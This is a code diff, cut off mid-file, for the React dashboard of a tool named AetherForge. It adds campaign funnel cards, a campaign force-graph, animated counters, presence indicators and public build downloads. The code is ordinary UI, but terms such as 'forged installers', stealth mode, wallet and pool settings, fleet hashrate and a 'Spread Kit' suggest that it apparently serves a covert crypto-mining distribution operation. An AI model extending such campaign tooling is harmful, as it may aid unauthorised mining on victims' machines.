AETHERFORGE_CLIENT_HEADER,
|
||||
AETHERFORGE_CLIENT_VALUE,
|
||||
@@ -12,6 +12,7 @@ import {
|
||||
} from '../api/auth';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
|
||||
import DocsEntryCard from './DocsEntryCard';
|
||||
|
||||
export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
const { play } = useSound();
|
||||
@@ -24,6 +25,8 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
const [sessionExpired, setSessionExpired] = useState(false);
|
||||
const [publicOpen, setPublicOpen] = useState(false);
|
||||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||||
const [publicBuildsEnabled, setPublicBuildsEnabled] = useState(false);
|
||||
const [publicLatestN, setPublicLatestN] = useState(3);
|
||||
const [publicLoading, setPublicLoading] = useState(false);
|
||||
const [publicErr, setPublicErr] = useState('');
|
||||
|
||||
@@ -112,8 +115,10 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
try {
|
||||
const res = await fetch('/api/v1/public/builds');
|
||||
if (!res.ok) throw new Error('unavailable');
|
||||
const data = (await res.json()) as { builds: PublicBuildDTO[] };
|
||||
const data = (await res.json()) as PublicBuildsResponse;
|
||||
setPublicBuilds(data.builds ?? []);
|
||||
setPublicBuildsEnabled(!!data.public_builds_enabled);
|
||||
setPublicLatestN(data.latest_n ?? 3);
|
||||
setPublicOpen(true);
|
||||
} catch {
|
||||
setPublicErr('Public builds are not available yet — forge an installer first.');
|
||||
@@ -163,20 +168,32 @@ export default function SessionGate({ children }: { children: ReactNode }) {
|
||||
<p className="session-gate-whisper" aria-hidden>
|
||||
ψ · the deck remembers every key
|
||||
</p>
|
||||
<div className="session-public-drawer" style={{ marginTop: '1.25rem', width: '100%' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
style={{ width: '100%' }}
|
||||
onClick={() => void loadPublicBuilds()}
|
||||
disabled={publicLoading}
|
||||
>
|
||||
{publicLoading ? 'Loading…' : 'Public builds (no login)'}
|
||||
</button>
|
||||
<DocsEntryCard variant="featured" />
|
||||
<div className="session-public-drawer" style={{ marginTop: '1rem', width: '100%' }}>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
style={{ flex: 1, minWidth: '10rem' }}
|
||||
onClick={() => void loadPublicBuilds()}
|
||||
disabled={publicLoading}
|
||||
>
|
||||
{publicLoading ? 'Loading…' : 'Public builds (no login)'}
|
||||
</button>
|
||||
<a
|
||||
href="/spread/"
|
||||
className="btn btn-outline btn-sm"
|
||||
style={{ flex: 1, minWidth: '10rem', textAlign: 'center' }}
|
||||
>
|
||||
Spread Kit
|
||||
</a>
|
||||
</div>
|
||||
{publicOpen && (
|
||||
<div className="card" style={{ marginTop: '0.75rem', textAlign: 'left' }}>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Pinned + latest forged installers — no credentials required.
|
||||
{publicBuildsEnabled
|
||||
? 'All forged installers exposed — no credentials required.'
|
||||
: `Pinned + marked-public + latest ${publicLatestN} forged installers — no credentials required.`}
|
||||
</p>
|
||||
{publicErr && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{publicErr}</p>}
|
||||
{publicBuilds.length === 0 && !publicErr && (
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import ComradeIndicators from '../Presence/ComradeIndicators';
|
||||
import { usePresence } from '../../context/PresenceContext';
|
||||
import '../Presence/Presence.css';
|
||||
import './VisualComponents.css';
|
||||
|
||||
export default function SystemStatusBar() {
|
||||
@@ -8,6 +10,7 @@ export default function SystemStatusBar() {
|
||||
const [agentTotal, setAgentTotal] = useState(0);
|
||||
const [agentOnline, setAgentOnline] = useState(0);
|
||||
const [buildCount, setBuildCount] = useState(0);
|
||||
const { othersOnline } = usePresence();
|
||||
|
||||
useEffect(() => {
|
||||
const poll = async () => {
|
||||
@@ -38,7 +41,7 @@ export default function SystemStatusBar() {
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div className="system-status-bar">
|
||||
<div className={`system-status-bar${othersOnline ? ' system-status-bar--comrades-online' : ''}`}>
|
||||
<span className={`status-pill ${serverOk ? 'ok' : 'bad'}`}>
|
||||
<span className="status-pill-dot" />
|
||||
SERVER {serverOk ? 'UP' : 'DOWN'}
|
||||
@@ -51,9 +54,16 @@ export default function SystemStatusBar() {
|
||||
<span className="status-pill-dot" />
|
||||
{buildCount} BUILD{buildCount === 1 ? '' : 'S'}
|
||||
</span>
|
||||
<Link to="/guide" className="status-pill" style={{ marginLeft: 'auto', textDecoration: 'none', color: 'var(--neon-cyan)' }}>
|
||||
📖 GUIDE
|
||||
</Link>
|
||||
<ComradeIndicators />
|
||||
<a
|
||||
href="/docs/"
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="status-pill"
|
||||
style={{ textDecoration: 'none', color: 'var(--neon-cyan)' }}
|
||||
>
|
||||
📖 DOCS
|
||||
</a>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
176
server/web/src/components/WarRoom/CampaignConstellations.tsx
Normal file
176
server/web/src/components/WarRoom/CampaignConstellations.tsx
Normal file
@@ -0,0 +1,176 @@
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import type { WarRoomCampaign } from '../../types';
|
||||
import {
|
||||
buildConstellationGraph,
|
||||
initNodePositions,
|
||||
tickForceLayout,
|
||||
type ConstellationNode,
|
||||
} from '../../help/campaignConstellations';
|
||||
|
||||
interface CampaignConstellationsProps {
|
||||
campaigns: WarRoomCampaign[];
|
||||
onSelectCampaign?: (campaign: string) => void;
|
||||
}
|
||||
|
||||
const SIM_TICKS = 180;
|
||||
const HEIGHT = 360;
|
||||
|
||||
export default function CampaignConstellations({ campaigns, onSelectCampaign }: CampaignConstellationsProps) {
|
||||
const wrapRef = useRef<HTMLDivElement>(null);
|
||||
const [width, setWidth] = useState(640);
|
||||
const [hovered, setHovered] = useState<string | null>(null);
|
||||
const nodesRef = useRef<ConstellationNode[]>([]);
|
||||
const edgesRef = useRef(buildConstellationGraph(campaigns).edges);
|
||||
const [, bump] = useState(0);
|
||||
|
||||
const graphKey = useMemo(
|
||||
() => campaigns.map((c) => `${c.campaign}:${c.hits}:${c.online}:${c.conversion_pct}:${(c.pins ?? []).join(',')}`).join('|'),
|
||||
[campaigns],
|
||||
);
|
||||
|
||||
useEffect(() => {
|
||||
const el = wrapRef.current;
|
||||
if (!el) return;
|
||||
const ro = new ResizeObserver((entries) => {
|
||||
const w = entries[0]?.contentRect.width;
|
||||
if (w && w > 0) setWidth(Math.floor(w));
|
||||
});
|
||||
ro.observe(el);
|
||||
setWidth(Math.floor(el.clientWidth) || 640);
|
||||
return () => ro.disconnect();
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
const { nodes, edges } = buildConstellationGraph(campaigns);
|
||||
initNodePositions(nodes, width, HEIGHT);
|
||||
edgesRef.current = edges;
|
||||
nodesRef.current = nodes;
|
||||
let frame = 0;
|
||||
let alpha = 1;
|
||||
|
||||
const step = () => {
|
||||
if (frame < SIM_TICKS) {
|
||||
tickForceLayout(nodesRef.current, edgesRef.current, width, HEIGHT, alpha);
|
||||
alpha *= 0.96;
|
||||
frame++;
|
||||
bump((n) => n + 1);
|
||||
requestAnimationFrame(step);
|
||||
}
|
||||
};
|
||||
const id = requestAnimationFrame(step);
|
||||
return () => cancelAnimationFrame(id);
|
||||
}, [graphKey, width]);
|
||||
|
||||
const handleClick = useCallback(
|
||||
(id: string) => {
|
||||
onSelectCampaign?.(id);
|
||||
},
|
||||
[onSelectCampaign],
|
||||
);
|
||||
|
||||
const nodes = nodesRef.current;
|
||||
const edges = edgesRef.current;
|
||||
const nodeById = new Map(nodes.map((n) => [n.id, n]));
|
||||
|
||||
return (
|
||||
<div className="war-room-constellations" ref={wrapRef}>
|
||||
<svg
|
||||
className="war-room-constellations-svg"
|
||||
viewBox={`0 0 ${width} ${HEIGHT}`}
|
||||
role="img"
|
||||
aria-label="Campaign constellation force graph"
|
||||
>
|
||||
<defs>
|
||||
<radialGradient id="constellation-bg" cx="50%" cy="45%" r="65%">
|
||||
<stop offset="0%" stopColor="rgba(61, 214, 198, 0.06)" />
|
||||
<stop offset="100%" stopColor="rgba(8, 10, 18, 0)" />
|
||||
</radialGradient>
|
||||
<filter id="constellation-glow">
|
||||
<feGaussianBlur stdDeviation="3" result="blur" />
|
||||
<feMerge>
|
||||
<feMergeNode in="blur" />
|
||||
<feMergeNode in="SourceGraphic" />
|
||||
</feMerge>
|
||||
</filter>
|
||||
</defs>
|
||||
|
||||
<rect width={width} height={HEIGHT} fill="url(#constellation-bg)" rx="8" />
|
||||
|
||||
{edges.map((e) => {
|
||||
const a = nodeById.get(e.source);
|
||||
const b = nodeById.get(e.target);
|
||||
if (!a || !b) return null;
|
||||
const lit = hovered === e.source || hovered === e.target;
|
||||
return (
|
||||
<line
|
||||
key={`${e.source}-${e.target}`}
|
||||
x1={a.x}
|
||||
y1={a.y}
|
||||
x2={b.x}
|
||||
y2={b.y}
|
||||
className={`war-room-constellation-edge${lit ? ' war-room-constellation-edge--lit' : ''}`}
|
||||
strokeWidth={lit ? 1.5 : 1}
|
||||
/>
|
||||
);
|
||||
})}
|
||||
|
||||
{nodes.map((n) => {
|
||||
const lit = hovered === n.id;
|
||||
const opacity = n.brightness;
|
||||
return (
|
||||
<g
|
||||
key={n.id}
|
||||
className={`war-room-constellation-node${n.pulsing ? ' war-room-constellation-node--pulse' : ''}${lit ? ' war-room-constellation-node--hover' : ''}`}
|
||||
style={{ cursor: 'pointer' }}
|
||||
onMouseEnter={() => setHovered(n.id)}
|
||||
onMouseLeave={() => setHovered(null)}
|
||||
onClick={() => handleClick(n.id)}
|
||||
onKeyDown={(ev) => {
|
||||
if (ev.key === 'Enter' || ev.key === ' ') {
|
||||
ev.preventDefault();
|
||||
handleClick(n.id);
|
||||
}
|
||||
}}
|
||||
role="button"
|
||||
tabIndex={0}
|
||||
aria-label={`${n.campaign}: ${n.hits} hits, ${n.online} online, ${n.conversionPct}% conversion`}
|
||||
>
|
||||
{n.pulsing ? (
|
||||
<circle
|
||||
cx={n.x}
|
||||
cy={n.y}
|
||||
r={n.radius + 6}
|
||||
className="war-room-constellation-halo"
|
||||
fill={n.color}
|
||||
/>
|
||||
) : null}
|
||||
<circle
|
||||
cx={n.x}
|
||||
cy={n.y}
|
||||
r={n.radius}
|
||||
fill={n.color}
|
||||
fillOpacity={opacity}
|
||||
stroke={lit ? '#e8eaef' : 'rgba(61, 214, 198, 0.35)'}
|
||||
strokeWidth={lit ? 2 : 1}
|
||||
filter={n.pulsing || lit ? 'url(#constellation-glow)' : undefined}
|
||||
/>
|
||||
<text
|
||||
x={n.x}
|
||||
y={n.y + n.radius + 14}
|
||||
textAnchor="middle"
|
||||
className="war-room-constellation-label"
|
||||
>
|
||||
{n.campaign.length > 14 ? `${n.campaign.slice(0, 12)}…` : n.campaign}
|
||||
</text>
|
||||
</g>
|
||||
);
|
||||
})}
|
||||
</svg>
|
||||
|
||||
<p className="war-room-constellation-legend form-hint">
|
||||
Node size = hits · brightness = online · color = conversion · edges = shared pin/build.
|
||||
Click a star to jump to its funnel card.
|
||||
</p>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
178
server/web/src/components/WarRoom/WarRoomFunnelBoard.tsx
Normal file
178
server/web/src/components/WarRoom/WarRoomFunnelBoard.tsx
Normal file
@@ -0,0 +1,178 @@
|
||||
import { useEffect, useState, type CSSProperties } from 'react';
|
||||
import type { WarRoomCampaign } from '../../types';
|
||||
import {
|
||||
detectFunnelLeaks,
|
||||
formatHashrate,
|
||||
funnelPipeWidth,
|
||||
funnelStages,
|
||||
sparklineBarHeight,
|
||||
sparklineMax,
|
||||
staggerDelayMs,
|
||||
} from '../../help/warRoom';
|
||||
import WarRoomOdometer from './WarRoomOdometer';
|
||||
|
||||
interface WarRoomFunnelBoardProps {
|
||||
campaigns: WarRoomCampaign[];
|
||||
days: number;
|
||||
refreshKey?: string;
|
||||
highlightCampaign?: string | null;
|
||||
}
|
||||
|
||||
export default function WarRoomFunnelBoard({ campaigns, days, refreshKey, highlightCampaign }: WarRoomFunnelBoardProps) {
|
||||
const [alive, setAlive] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
if (!refreshKey) return;
|
||||
setAlive(true);
|
||||
const t = window.setTimeout(() => setAlive(false), 900);
|
||||
return () => window.clearTimeout(t);
|
||||
}, [refreshKey]);
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`war-room-funnel-board${alive ? ' war-room-funnel-board--alive' : ''}`}
|
||||
role="list"
|
||||
>
|
||||
{campaigns.map((c, cardIndex) => {
|
||||
const stages = funnelStages(c);
|
||||
const leaks = detectFunnelLeaks(c);
|
||||
const primaryLeak = leaks[0];
|
||||
const max = sparklineMax(c.daily_hits);
|
||||
const hits = c.hits ?? 0;
|
||||
|
||||
return (
|
||||
<article
|
||||
key={c.campaign}
|
||||
id={`war-room-campaign-${c.campaign}`}
|
||||
className={`war-room-funnel-card${highlightCampaign === c.campaign ? ' war-room-funnel-card--highlighted' : ''}`}
|
||||
role="listitem"
|
||||
style={{ '--card-stagger': `${cardIndex * 0.12}s` } as CSSProperties}
|
||||
>
|
||||
<header className="war-room-funnel-card-head">
|
||||
<div>
|
||||
<code className="war-room-funnel-slug">{c.campaign}</code>
|
||||
{c.last_activity ? (
|
||||
<span className="war-room-funnel-meta">
|
||||
last {new Date(c.last_activity).toLocaleDateString()}
|
||||
</span>
|
||||
) : null}
|
||||
</div>
|
||||
<div className="war-room-funnel-head-stats">
|
||||
<WarRoomOdometer
|
||||
value={c.conversion_pct}
|
||||
format={(n) => n.toFixed(1)}
|
||||
suffix="% overall"
|
||||
staggerMs={staggerDelayMs(cardIndex, 0)}
|
||||
className="war-room-funnel-overall"
|
||||
showDelta
|
||||
/>
|
||||
{c.online > 0 ? (
|
||||
<WarRoomOdometer
|
||||
value={c.online}
|
||||
suffix=" online"
|
||||
staggerMs={staggerDelayMs(cardIndex, 1)}
|
||||
className="war-room-funnel-online"
|
||||
/>
|
||||
) : null}
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div className="war-room-funnel-pipeline" aria-label="Campaign funnel">
|
||||
{stages.map((stage, idx) => (
|
||||
<div key={stage.id} className="war-room-funnel-stage">
|
||||
<div className="war-room-funnel-node">
|
||||
<span className="war-room-funnel-node-label">{stage.label}</span>
|
||||
<span className="war-room-funnel-node-value">
|
||||
{stage.id === 'hashrate' ? (
|
||||
<WarRoomOdometer
|
||||
value={stage.value}
|
||||
format={(n) => formatHashrate(n)}
|
||||
staggerMs={staggerDelayMs(cardIndex, idx + 2)}
|
||||
showDelta
|
||||
/>
|
||||
) : (
|
||||
<WarRoomOdometer
|
||||
value={stage.value}
|
||||
staggerMs={staggerDelayMs(cardIndex, idx + 2)}
|
||||
showDelta
|
||||
/>
|
||||
)}
|
||||
</span>
|
||||
{stage.rateFromPrev != null ? (
|
||||
<span
|
||||
className={`war-room-funnel-node-rate${
|
||||
stage.rateFromPrev < 15 && stage.value > 0 ? ' war-room-funnel-node-rate--low' : ''
|
||||
}`}
|
||||
>
|
||||
<WarRoomOdometer
|
||||
value={stage.rateFromPrev}
|
||||
format={(n) => n.toFixed(1)}
|
||||
suffix="%"
|
||||
staggerMs={staggerDelayMs(cardIndex, idx + 2, 55)}
|
||||
/>
|
||||
</span>
|
||||
) : null}
|
||||
</div>
|
||||
<div
|
||||
className="war-room-funnel-pipe war-room-funnel-pipe--flowing"
|
||||
style={{
|
||||
'--pipe-fill': `${funnelPipeWidth(
|
||||
stage.id === 'hashrate' ? stage.value : stage.value,
|
||||
hits,
|
||||
stage.id === 'hashrate',
|
||||
)}%`,
|
||||
'--pipe-stagger': `${idx * 0.18}s`,
|
||||
} as CSSProperties}
|
||||
>
|
||||
<span className="war-room-funnel-pipe-fill" />
|
||||
<span className="war-room-funnel-pipe-shimmer" aria-hidden />
|
||||
</div>
|
||||
{idx < stages.length - 1 ? (
|
||||
<span className="war-room-funnel-arrow" aria-hidden>
|
||||
▸
|
||||
</span>
|
||||
) : null}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<footer className="war-room-funnel-card-foot">
|
||||
<div className="war-room-sparkline war-room-sparkline--card" title={c.daily_hits.join(', ')}>
|
||||
<span className="war-room-sparkline-label">{days}d hits</span>
|
||||
{c.daily_hits.map((v, i) => (
|
||||
<span key={i} style={{ height: `${sparklineBarHeight(v, max)}%` }} />
|
||||
))}
|
||||
</div>
|
||||
<div className="war-room-funnel-hash" title="Fleet hashrate">
|
||||
<WarRoomOdometer
|
||||
value={c.hashrate}
|
||||
format={(n) => formatHashrate(n)}
|
||||
staggerMs={staggerDelayMs(cardIndex, 8)}
|
||||
showDelta
|
||||
/>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
{primaryLeak ? (
|
||||
<div
|
||||
className={`war-room-leak war-room-leak--${primaryLeak.severity}`}
|
||||
role="status"
|
||||
>
|
||||
<span className="war-room-leak-badge">{primaryLeak.severity === 'critical' ? 'LEAK' : 'Drip'}</span>
|
||||
<div>
|
||||
<p className="war-room-leak-msg">{primaryLeak.message}</p>
|
||||
<p className="war-room-leak-action">{primaryLeak.action}</p>
|
||||
</div>
|
||||
</div>
|
||||
) : (
|
||||
<div className="war-room-leak war-room-leak--clear" role="status">
|
||||
<span className="war-room-leak-badge">FLOW</span>
|
||||
<p className="war-room-leak-msg">Funnel flowing — no major leaks detected.</p>
|
||||
</div>
|
||||
)}
|
||||
</article>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
88
server/web/src/components/WarRoom/WarRoomOdometer.tsx
Normal file
88
server/web/src/components/WarRoom/WarRoomOdometer.tsx
Normal file
@@ -0,0 +1,88 @@
|
||||
import { useEffect, useRef, useState } from 'react';
|
||||
import { formatOdometerDelta, odometerDurationMs } from '../../help/warRoom';
|
||||
|
||||
export interface WarRoomOdometerProps {
|
||||
value: number;
|
||||
format?: (n: number) => string;
|
||||
staggerMs?: number;
|
||||
className?: string;
|
||||
suffix?: string;
|
||||
showDelta?: boolean;
|
||||
}
|
||||
|
||||
const defaultFormat = (n: number) => String(Math.round(n));
|
||||
|
||||
export default function WarRoomOdometer({
|
||||
value,
|
||||
format = defaultFormat,
|
||||
staggerMs = 0,
|
||||
className = '',
|
||||
suffix = '',
|
||||
showDelta = false,
|
||||
}: WarRoomOdometerProps) {
|
||||
const [display, setDisplay] = useState(value);
|
||||
const [pulsing, setPulsing] = useState(false);
|
||||
const [deltaLabel, setDeltaLabel] = useState<string | null>(null);
|
||||
const prevRef = useRef(value);
|
||||
const rafRef = useRef<number>();
|
||||
const pulseTimerRef = useRef<ReturnType<typeof setTimeout>>();
|
||||
|
||||
useEffect(() => {
|
||||
const prev = prevRef.current;
|
||||
if (prev === value) return;
|
||||
|
||||
const delta = formatOdometerDelta(prev, value);
|
||||
if (showDelta && delta) setDeltaLabel(delta);
|
||||
|
||||
const startTimer = window.setTimeout(() => {
|
||||
const start = prev;
|
||||
const end = value;
|
||||
const duration = odometerDurationMs(end - start);
|
||||
const startTime = performance.now();
|
||||
|
||||
setPulsing(true);
|
||||
if (pulseTimerRef.current) clearTimeout(pulseTimerRef.current);
|
||||
|
||||
const tick = (now: number) => {
|
||||
const t = Math.min(1, (now - startTime) / duration);
|
||||
setDisplay(start + (end - start) * (1 - (1 - t) ** 3));
|
||||
if (t < 1) {
|
||||
rafRef.current = requestAnimationFrame(tick);
|
||||
} else {
|
||||
setDisplay(end);
|
||||
prevRef.current = end;
|
||||
pulseTimerRef.current = setTimeout(() => {
|
||||
setPulsing(false);
|
||||
setDeltaLabel(null);
|
||||
}, 700);
|
||||
}
|
||||
};
|
||||
rafRef.current = requestAnimationFrame(tick);
|
||||
}, staggerMs);
|
||||
|
||||
return () => {
|
||||
window.clearTimeout(startTimer);
|
||||
if (rafRef.current) cancelAnimationFrame(rafRef.current);
|
||||
if (pulseTimerRef.current) clearTimeout(pulseTimerRef.current);
|
||||
};
|
||||
}, [value, staggerMs, showDelta]);
|
||||
|
||||
return (
|
||||
<span
|
||||
className={[
|
||||
'war-room-odometer',
|
||||
pulsing ? 'war-room-odometer--pulse' : '',
|
||||
className,
|
||||
]
|
||||
.filter(Boolean)
|
||||
.join(' ')}
|
||||
>
|
||||
<span className="war-room-odometer-value">{format(display)}{suffix}</span>
|
||||
{deltaLabel ? (
|
||||
<span className="war-room-odometer-delta" aria-hidden>
|
||||
{deltaLabel}
|
||||
</span>
|
||||
) : null}
|
||||
</span>
|
||||
);
|
||||
}
|
||||
@@ -159,8 +159,23 @@ describe('HelpTip', () => {
|
||||
});
|
||||
});
|
||||
|
||||
it('FieldHint export is deprecated no-op', () => {
|
||||
const { container } = render(<FieldHint field="calibrate_wallet" />);
|
||||
it('shows Read more link in popup when doc anchor exists', async () => {
|
||||
render(<HelpTip field="stealth_mode" />);
|
||||
await userEvent.setup().hover(screen.getByRole('button'));
|
||||
await waitFor(() => {
|
||||
const link = screen.getByRole('link', { name: /Read more/i });
|
||||
expect(link).toHaveAttribute('href', '/docs/#forge-stealth');
|
||||
});
|
||||
});
|
||||
|
||||
it('FieldHint renders doc link when anchor exists', () => {
|
||||
render(<FieldHint field="stealth_mode" />);
|
||||
const link = screen.getByRole('link', { name: /Read more/i });
|
||||
expect(link).toHaveAttribute('href', '/docs/#forge-stealth');
|
||||
});
|
||||
|
||||
it('FieldHint returns null when no anchor', () => {
|
||||
const { container } = render(<FieldHint field="pool_host" />);
|
||||
expect(container.firstChild).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
@@ -9,8 +9,12 @@ type AmbientMusicContextValue = {
|
||||
enabled: boolean;
|
||||
playing: boolean;
|
||||
volume: number;
|
||||
pageIntensity: number;
|
||||
modalDuckActive: boolean;
|
||||
setEnabled: (v: boolean) => void;
|
||||
setVolume: (v: number) => void;
|
||||
setPageIntensity: (v: number) => void;
|
||||
registerModalDuck: () => () => void;
|
||||
togglePlay: () => void;
|
||||
};
|
||||
|
||||
@@ -20,6 +24,8 @@ export function AmbientMusicProvider({ children }: { children: React.ReactNode }
|
||||
const [enabled, setEnabledState] = useState(loadBgmEnabled);
|
||||
const [playing, setPlaying] = useState(() => ambientMusicPlayer.isPlaying());
|
||||
const [volume, setVolumeState] = useState(loadBgmVolume);
|
||||
const [pageIntensity, setPageIntensityState] = useState(() => ambientMusicPlayer.getPageIntensity());
|
||||
const [modalDuckActive, setModalDuckActive] = useState(() => ambientMusicPlayer.isModalDuckActive());
|
||||
|
||||
const setEnabled = useCallback((v: boolean) => {
|
||||
ambientMusicPlayer.setEnabled(v);
|
||||
@@ -32,6 +38,20 @@ export function AmbientMusicProvider({ children }: { children: React.ReactNode }
|
||||
setVolumeState(ambientMusicPlayer.getVolume());
|
||||
}, []);
|
||||
|
||||
const setPageIntensity = useCallback((v: number) => {
|
||||
ambientMusicPlayer.setPageIntensity(v);
|
||||
setPageIntensityState(ambientMusicPlayer.getPageIntensity());
|
||||
}, []);
|
||||
|
||||
const registerModalDuck = useCallback(() => {
|
||||
setModalDuckActive(true);
|
||||
const unregister = ambientMusicPlayer.registerModalDuck();
|
||||
return () => {
|
||||
unregister();
|
||||
setModalDuckActive(ambientMusicPlayer.isModalDuckActive());
|
||||
};
|
||||
}, []);
|
||||
|
||||
const togglePlay = useCallback(() => {
|
||||
ambientMusicPlayer.unlock();
|
||||
ambientMusicPlayer.togglePlay();
|
||||
@@ -59,8 +79,19 @@ export function AmbientMusicProvider({ children }: { children: React.ReactNode }
|
||||
}, []);
|
||||
|
||||
const value = useMemo(
|
||||
() => ({ enabled, playing, volume, setEnabled, setVolume, togglePlay }),
|
||||
[enabled, playing, volume, setEnabled, setVolume, togglePlay]
|
||||
() => ({
|
||||
enabled,
|
||||
playing,
|
||||
volume,
|
||||
pageIntensity,
|
||||
modalDuckActive,
|
||||
setEnabled,
|
||||
setVolume,
|
||||
setPageIntensity,
|
||||
registerModalDuck,
|
||||
togglePlay,
|
||||
}),
|
||||
[enabled, playing, volume, pageIntensity, modalDuckActive, setEnabled, setVolume, setPageIntensity, registerModalDuck, togglePlay]
|
||||
);
|
||||
|
||||
return <AmbientMusicContext.Provider value={value}>{children}</AmbientMusicContext.Provider>;
|
||||
@@ -70,8 +101,12 @@ const noopAmbient: AmbientMusicContextValue = {
|
||||
enabled: false,
|
||||
playing: false,
|
||||
volume: 0,
|
||||
pageIntensity: 1,
|
||||
modalDuckActive: false,
|
||||
setEnabled: () => {},
|
||||
setVolume: () => {},
|
||||
setPageIntensity: () => {},
|
||||
registerModalDuck: () => () => {},
|
||||
togglePlay: () => {},
|
||||
};
|
||||
|
||||
@@ -79,3 +114,12 @@ export function useAmbientMusic() {
|
||||
const ctx = useContext(AmbientMusicContext);
|
||||
return ctx ?? noopAmbient;
|
||||
}
|
||||
|
||||
/** Duck ambient music while `open` is true; swells back when closed. */
|
||||
export function useModalAmbientDuck(open: boolean) {
|
||||
const { registerModalDuck } = useAmbientMusic();
|
||||
useEffect(() => {
|
||||
if (!open) return;
|
||||
return registerModalDuck();
|
||||
}, [open, registerModalDuck]);
|
||||
}
|
||||
|
||||
138
server/web/src/context/PresenceContext.tsx
Normal file
138
server/web/src/context/PresenceContext.tsx
Normal file
@@ -0,0 +1,138 @@
|
||||
import React, { createContext, useCallback, useContext, useEffect, useMemo, useReducer, useRef } from 'react';
|
||||
import { useLocation } from 'react-router-dom';
|
||||
import { getStoredUsername } from '../api/auth';
|
||||
import { useWebSocketContext } from './WebSocketContext';
|
||||
import {
|
||||
comradesOnPage,
|
||||
initialPresenceState,
|
||||
onlineComrades,
|
||||
reducePresence,
|
||||
type ComradePresence,
|
||||
type NotesTyping,
|
||||
} from './presenceReducer';
|
||||
|
||||
interface PresenceContextValue {
|
||||
selfUser: string | null;
|
||||
comrades: ComradePresence[];
|
||||
othersOnline: boolean;
|
||||
comradesHere: (page: string) => ComradePresence[];
|
||||
notesTyping: NotesTyping | null;
|
||||
sendNotesTyping: (active: boolean) => void;
|
||||
}
|
||||
|
||||
const PresenceContext = createContext<PresenceContextValue>({
|
||||
selfUser: null,
|
||||
comrades: [],
|
||||
othersOnline: false,
|
||||
comradesHere: () => [],
|
||||
notesTyping: null,
|
||||
sendNotesTyping: () => {},
|
||||
});
|
||||
|
||||
const TYPING_STALE_MS = 4000;
|
||||
|
||||
export function PresenceProvider({ children }: { children: React.ReactNode }) {
|
||||
const { isConnected, latestMessage, sendDashboardMessage } = useWebSocketContext();
|
||||
const location = useLocation();
|
||||
const [state, dispatch] = useReducer(reducePresence, initialPresenceState);
|
||||
const lastPageRef = useRef('');
|
||||
|
||||
useEffect(() => {
|
||||
dispatch({ type: 'set_self', user: getStoredUsername() });
|
||||
const onAuth = () => dispatch({ type: 'set_self', user: getStoredUsername() });
|
||||
window.addEventListener('aetherforge-auth', onAuth);
|
||||
return () => window.removeEventListener('aetherforge-auth', onAuth);
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
switch (latestMessage.type) {
|
||||
case 'presence_snapshot': {
|
||||
const p = latestMessage.payload as { comrades?: ComradePresence[] };
|
||||
if (Array.isArray(p?.comrades)) {
|
||||
dispatch({ type: 'presence_snapshot', comrades: p.comrades });
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'presence_update': {
|
||||
const p = latestMessage.payload as {
|
||||
user?: string;
|
||||
page?: string;
|
||||
online?: boolean;
|
||||
ts?: number;
|
||||
};
|
||||
if (p?.user) {
|
||||
dispatch({
|
||||
type: 'presence_update',
|
||||
user: p.user,
|
||||
page: p.page ?? '/dashboard',
|
||||
online: p.online !== false,
|
||||
ts: p.ts ?? Date.now(),
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
case 'notes_typing': {
|
||||
const p = latestMessage.payload as { user?: string; active?: boolean; ts?: number };
|
||||
if (p?.user) {
|
||||
dispatch({
|
||||
type: 'notes_typing',
|
||||
user: p.user,
|
||||
active: !!p.active,
|
||||
ts: p.ts ?? Date.now(),
|
||||
});
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}, [latestMessage]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!isConnected) {
|
||||
lastPageRef.current = '';
|
||||
return;
|
||||
}
|
||||
const page = location.pathname || '/dashboard';
|
||||
if (page === lastPageRef.current) return;
|
||||
lastPageRef.current = page;
|
||||
sendDashboardMessage('presence_page', { page });
|
||||
}, [isConnected, location.pathname, sendDashboardMessage]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!state.notesTyping?.active) return;
|
||||
const age = Date.now() - state.notesTyping.ts;
|
||||
const delay = Math.max(0, TYPING_STALE_MS - age);
|
||||
const t = setTimeout(() => dispatch({ type: 'clear_notes_typing' }), delay);
|
||||
return () => clearTimeout(t);
|
||||
}, [state.notesTyping]);
|
||||
|
||||
const sendNotesTyping = useCallback(
|
||||
(active: boolean) => {
|
||||
sendDashboardMessage('notes_typing', { active });
|
||||
},
|
||||
[sendDashboardMessage],
|
||||
);
|
||||
|
||||
const comrades = useMemo(() => onlineComrades(state), [state]);
|
||||
const comradesHere = useCallback((page: string) => comradesOnPage(state, page), [state]);
|
||||
|
||||
const value = useMemo(
